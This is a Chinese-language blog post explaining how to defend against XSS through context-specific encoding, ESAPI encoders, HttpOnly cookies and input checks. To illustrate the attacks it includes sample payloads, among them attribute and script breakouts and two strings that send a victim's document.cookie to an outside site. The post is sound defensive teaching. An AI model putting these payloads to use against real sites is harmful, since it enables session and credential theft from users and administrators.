防御 XSS攻擊

淺談XSS—字符編碼和瀏覽器解析原理

XSS簡介

XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由于被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣為人知。對于跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區溢出攻擊“,而JavaScript是新型的“ShellCode”。

XSS攻擊的危害包括
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊

如何防御XSS攻擊

防御XSS的核心是在輸出不可信數據的時候進行編碼,雖然現如今流行的Web框架大多都在默認情況下就對不可信數據進行了HTML編碼,幫我們做了防御。對于將要放置到HTML頁面body里的不可信數據,進行HTML編碼已經足夠防御XSS攻擊了,甚至將HTML編碼后的數據放到HTML標簽(TAG)的屬性(attribute)里也不會產生XSS漏洞(但前提是這些屬性都正確使用了引號)。但是,如果你將HTML編碼后的數據放到了<SCRIPT>標簽里的任何地方,甚至是HTML標簽的事件處理屬性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻擊依然會發生,在這種情況下,HTML編碼不起作用了。所以就算你到處使用了HTML編碼,XSS漏洞依然可能存在。

1.不要在頁面中插入任何不可信數據,除非這些數已經據根據后面幾個原則進行了編碼

HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差別,比如有些漏洞發生在HTML標簽里,有些發生在HTML標簽的屬性里,還有的發生在頁面的<script>里,甚至有些還出現在CSS里,再加上不同瀏覽器對頁面的解析或多或少有些不同,使得有些漏洞只在特定瀏覽器里才會產生。如果想要通過XSS過濾器(XSS Filter)對不可信數據進行轉義或替換,那么XSS過濾器的過濾規則將會變得異常復雜,難以維護而且會有被繞過的風險。

直接插入到SCRIPT標簽里 :
<script>…不要在這里直接插入不可信數據…</script>

插入到HTML注釋里:
<!– …不要在這里直接插入不可信數據… –>

插入到HTML標簽的屬性名里:
<div 不要在這里直接插入不可信數據=”…”></div>

插入到HTML標簽的屬性值里:
<div name=”…不要在這里直接插入不可信數據…”></div>

作為HTML標簽的名字:
<不要在這里直接插入不可信數據 href=”…”></a>

直接插入到CSS里:
<style>…不要在這里直接插入不可信數據…</style>

最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里,一旦引入了,這些腳本就能夠操縱你的HTML頁面,竊取敏感信息或者發起釣魚攻擊等等。

2.在將不可信數據插入到HTML標簽之間時,對這些數據進行HTML Entity編碼

往HTML標簽之間插入不可信數據與往HTML標簽屬性部分插入不可信數據,這兩者需要進行不同類型的編碼。當你確實需要往HTML標簽之間插入不可信數據的時候,首先要做的就是對不可信數據進行HTML Entity編碼。

<body>…插入不可信數據前,對其進行HTML Entity編碼…</body>
<div>…插入不可信數據前,對其進行HTML Entity編碼…</div>
<p>…插入不可信數據前,對其進行HTML Entity編碼…</p>
以此類推,往其他HTML標簽之間插入不可信數據前,對其進行HTML Entity編碼

HTML Entity編碼規則(也就是轉換為HTML實體)

&     –>     &amp;
<     –>     &lt;
>     –>     &gt;
”     –>     &quot;
‘     –>     '
/     –>     /

●不推薦將單引號( ‘ )編碼為 ' 因為它并不是標準的HTML標簽
●需要對斜杠號( / )編碼,因為在進行XSS攻擊時,斜杠號對于關閉當前HTML標簽非常有用

OWASP提供的ESAPI函數庫,它提供了一系列非常嚴格的用于進行各種安全編碼的函數。HTML 實體編碼:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

3.在將不可信數據插入到HTML屬性里時,對這些數據進行HTML屬性編碼

當你要往HTML屬性(例如width、name、value屬性)的值部分(data value)插入不可信數據的時候,應該對數據進行HTML屬性編碼。不過需要注意的是,當要往HTML標簽的事件處理屬性(例如onmouseover)里插入數據的時候,本條原則不適用,應該用下面的第4條對其進行JavaScript編碼。

屬性值部分沒有使用引號,不推薦 
<div attr=…插入不可信數據前,進行HTML屬性編碼…></div>
屬性值部分使用了單引號
<div attr=’…插入不可信數據前,進行HTML屬性編碼…’></div>
屬性值部分使用了雙引號
<div attr=”…插入不可信數據前,進行HTML屬性編碼…”></div>

編碼規則
除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。
編碼后輸出的格式為&#xHH;(以&#x開頭,HH則是指該字符對應的十六進制數字,分號作為結束符)

如果屬性值部分沒有使用引號的話,攻擊者很容易就能閉合掉當前屬性,隨后即可插入攻擊腳本。例如,如果屬性沒有使用引號,又沒有對數據進行嚴格編碼,那么一個空格符就可以閉合掉當前屬性。請看下面這個攻擊:
HTML代碼:<div width=$INPUT> …content… </div>
攻擊者構造:x onmouseover="javascript:alert(/xss/)"
最終瀏覽器中顯示的HTML
&lt;div width=x onmouseover=”javascript:alert(/xss/)”&gt; …content… &lt;/div&gt;
除了空格符可以閉合當前屬性外,這些符號也可以
% * + , – / ; < = > ^ | `(反單引號,IE會認為它是單引號)
可以使用ESAPI提供的函數進行HTML屬性編碼:
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

4.在將不可信數據插入到SCRIPT里時,對這些數據進行SCRIPT編碼

這條原則主要針對動態生成的JavaScript代碼,這包括腳本部分以及HTML標簽的事件處理屬性(Event Handler,如onmouseover, onload等)。在往JavaScript代碼里插入數據的時候,只有一種情況是安全的,那就是對不可信數據進行JavaScript編碼,并且只把這些數據放到使用引號包圍起來的值部分(data value)之中,例如:

&lt;script&gt;
    var message = “&lt;%= encodeJavaScript(@INPUT) %&gt;”;
&lt;/script&gt;

除此之外,往JavaScript代碼里其他任何地方插入不可信數據都是相當危險的,攻擊者可以很容易地插入攻擊代碼。

<script>alert('…插入不可信數據前,進行JavaScript編碼…')</script>
值部分使用了單引號 

<script>x = "…插入不可信數據前,進行JavaScript編碼…"</script>
值部分使用了雙引號

<div onmouseover="x='…插入不可信數據前,進行JavaScript編碼…' "</div>
值部分使用了引號,且事件處理屬性的值部分也使用了引號

特別需要注意的是,在XSS防御中,有些JavaScript函數是極度危險的,就算對不可信數據進行JavaScript編碼,也依然會產生XSS漏洞,例如:

<script>
window.setInterval('…就算對不可信數據進行了JavaScript編碼,這里依然會有XSS漏洞…');
</script>

編碼規則
除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 \xHH (以 \x 開頭,HH則是指該字符對應的十六進制數字)

在對不可信數據做編碼的時候,千萬不能圖方便使用反斜杠( \ )對特殊字符進行簡單轉義,比如將雙引號 "轉義成 ",這樣做是不可靠的,因為瀏覽器在對頁面做解析的時候,會先進行HTML解析,然后才是JavaScript解析,所以雙引號很可能會被當做HTML字符進行HTML解析,這時雙引號就可以突破代碼的值部分,使得攻擊者可以繼續進行XSS攻擊。例如:

假設代碼片段如下:

<script>
var message = " $VAR ";
</script>

攻擊者輸入的內容為:\”; alert(‘xss’);//
如果只是對雙引號進行簡單轉義,將其替換成 \” 的話,攻擊者輸入的內容在最終的頁面上會變成:

<script>
var message = "\\"; alert('xss');// ";
</script>

瀏覽器在解析的時候,會認為反斜杠后面的那個雙引號和第一個雙引號相匹配,繼而認為后續的alert(‘xss’)是正常的JavaScript腳本,因此允許執行。

script腳本中最好不要使用不確定的內容
下面假設一個場景:
比如某個直播網站,主播可以設置昵稱,用戶可以進入該房間觀看直播。并且js要用到該主播的昵稱,比如要用js將主播昵稱放到屏幕中間做一個滾動的效果。

<script>
  //獲取主播昵稱
  var starNick = '${starNick}';
  //讓主播昵稱在屏幕中間滾動
  rollingStarNick(starNick);
</script>

但是主播如果是一個懂xss攻擊,并且想盜取觀看用戶帳號信息的人。那么問題就大了。
假如主播將昵稱改為如下代碼:
';window.location. + document.cookie + '&url=' + window.location.href;'
當用戶進入房間后,腳本部分源碼將變成這樣:

<script>
  var starNick = '';window.location. + document.cookie + '&url=' + window.location.href;'' ;
  rollingStarNick(starNick);
</script>

用戶的cookie信息直接就被自動發送到了指定的網站。

可以使用ESAPI提供的函數進行JavaScript編碼:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

5.在將不可信數據插入到Style屬性里時,對這些數據進行CSS編碼

當需要往Stylesheet,Style標簽或者Style屬性里插入不可信數據的時候,需要對這些數據進行CSS編碼。傳統印象里CSS不過是負責頁面樣式的,但是實際上它比我們想象的要強大許多,而且還可以用來進行各種攻擊。最好不要把不可信數據放到一些復雜屬性里,比如url, behavior等,只能被IE認識的Expression屬性允許執行JavaScript腳本,因此也不推薦把不可信數據放到這里。(只存在于IE5-IE7)

<style>selector { property : …插入不可信數據前,進行CSS編碼…} </style>
<style>selector { property : " …插入不可信數據前,進行CSS編碼… "} </style>
<span style=" property : …插入不可信數據前,進行CSS編碼… "> … </span>

編碼規則
除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 \HH (以 \ 開頭,HH則是指該字符對應的十六進制數字)

同原則2,原則3,在對不可信數據進行編碼的時候,切忌投機取巧對雙引號等特殊字符進行簡單轉義,攻擊者可以想辦法繞開這類限制。
可以使用ESAPI提供的函數進行CSS編碼:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

6.在將不可信數據插入到HTML URL里時,對這些數據進行URL編碼

當需要往HTML頁面中的URL里插入不可信數據的時候,需要對其進行URL編碼,如下:
<a href=”http://www.abcd.com?param=…插入不可信數據前,進行URL編碼…”> Link Content </a>

編碼規則
除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 %HH (以 % 開頭,HH則是指該字符對應的十六進制數字)

在對URL進行編碼的時候,有兩點是需要特別注意的:
1) URL屬性應該使用引號將值部分包圍起來,否則攻擊者可以很容易突破當前屬性區域,插入后續攻擊代碼
2) 不要對整個URL進行編碼,因為不可信數據可能會被插入到href, src或者其他以URL為基礎的屬性里,這時需要對數據的起始部分的協議字段進行驗證,否則攻擊者可以改變URL的協議,例如從HTTP協議改為DATA偽協議,或者javascript偽協議.

<a>標簽的href屬性中最好不要包含不確定(用戶輸入)的內容。它除了直接指定一個url進行跳轉,還可以通過javascript:xxx();的方式執行js代碼。
比如注冊用戶信息是要求用戶輸入一個博客地址(一個url),用戶管理后臺的列表中再加一列,讓管理員直接點這個鏈接去訪問用戶的博客。
<td><a href="${user.blog}">博客地址</a></td>
攻擊者在注冊用戶時,博客地址如果輸入下面這樣的腳本:
javascript:window.location. + document.cookie + '&url=' + window.location.href
那么當管理員點擊這個鏈接的時候,跟之前一樣的悲劇就又發生了,管理員的登錄信息就被攻擊者盜取了。
所以千萬不要直接將用戶輸入的信息輸出到href屬性中,即使一定要輸出,也應該將內容中的javascript/document/cookie/…等js關鍵字替換掉 , 最好的方式就是直接將這個信息轉譯后輸出到頁面,讓管理員復制鏈接然后再去打開博客

可以使用ESAPI提供的函數進行URL編碼:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI還提供了一些用于檢測不可信數據的函數,在這里我們可以使用其來檢測不可信數據是否真的是一個URL:

String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false); 
if (isValidURL) {
<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>
}
7.使用富文本時,使用XSS規則引擎進行編碼過濾

Web應用一般都會提供用戶輸入富文本信息的功能,比如BBS發帖,寫博客文章等,用戶提交的富文本信息里往往包含了HTML標簽,甚至是JavaScript腳本,如果不對其進行適當的編碼過濾的話,則會形成XSS漏洞。但我們又不能因為害怕產生XSS漏洞,所以就不允許用戶輸入富文本,這樣對用戶體驗傷害很大。

針對富文本的特殊性,我們可以使用XSS規則引擎對用戶輸入進行編碼過濾,只允許用戶輸入安全的HTML標簽,如<b>, <i>, <p>等,對其他數據進行HTML編碼。需要注意的是,經過規則引擎編碼過濾后的內容只能放在<div>, <p>等安全的HTML標簽里,不要放到HTML標簽的屬性值里,更不要放到HTML事件處理屬性里,或者放到<SCRIPT>標簽里。

8.防御DOM Based XSS

DOM Based XSS是從javascript中輸出數據到HTML頁面里。

把變量輸出到頁面時要做好相關的編碼轉義工作,如要輸出到 <script>中,可以進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不同的語境采用不同的編碼處理方式。

會觸發DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

9.HttpOnly Cookie

一般的Cookie都是從document對象中獲得的,現在瀏覽器在設置 Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被設置,你在瀏覽器的 document對象中就看不到Cookie了,而瀏覽器在瀏覽的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括ajax的時 候),應用程序也一般不會在js里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對于一些需要在應用程序中用js操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。

10.輸入檢查

輸入檢查一般是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、"等,如果發現存在特殊字符,則將這些字符過濾或者編碼。例如輸入email的文本框只允許輸入格式正確的email,輸入手機號碼的文本框只允許填入數字且格式需要正確。這類合法性驗證至少需要在服務器端進行以防止瀏覽器端驗證被繞過,而為了提高用戶體驗和減輕服務器壓力,最好也在瀏覽器端進行同樣的驗證。

參考文獻:
防御 XSS 攻擊的七條原則
XSS 攻擊實驗 & 防御方案

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,825評論 6 546
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,814評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,980評論 0 384
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 64,064評論 1 319
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,779評論 6 414
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,109評論 1 330
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,099評論 3 450
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,287評論 0 291
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,799評論 1 338
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,515評論 3 361
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,750評論 1 375
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,221評論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,933評論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,327評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,667評論 1 296
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,492評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,703評論 2 380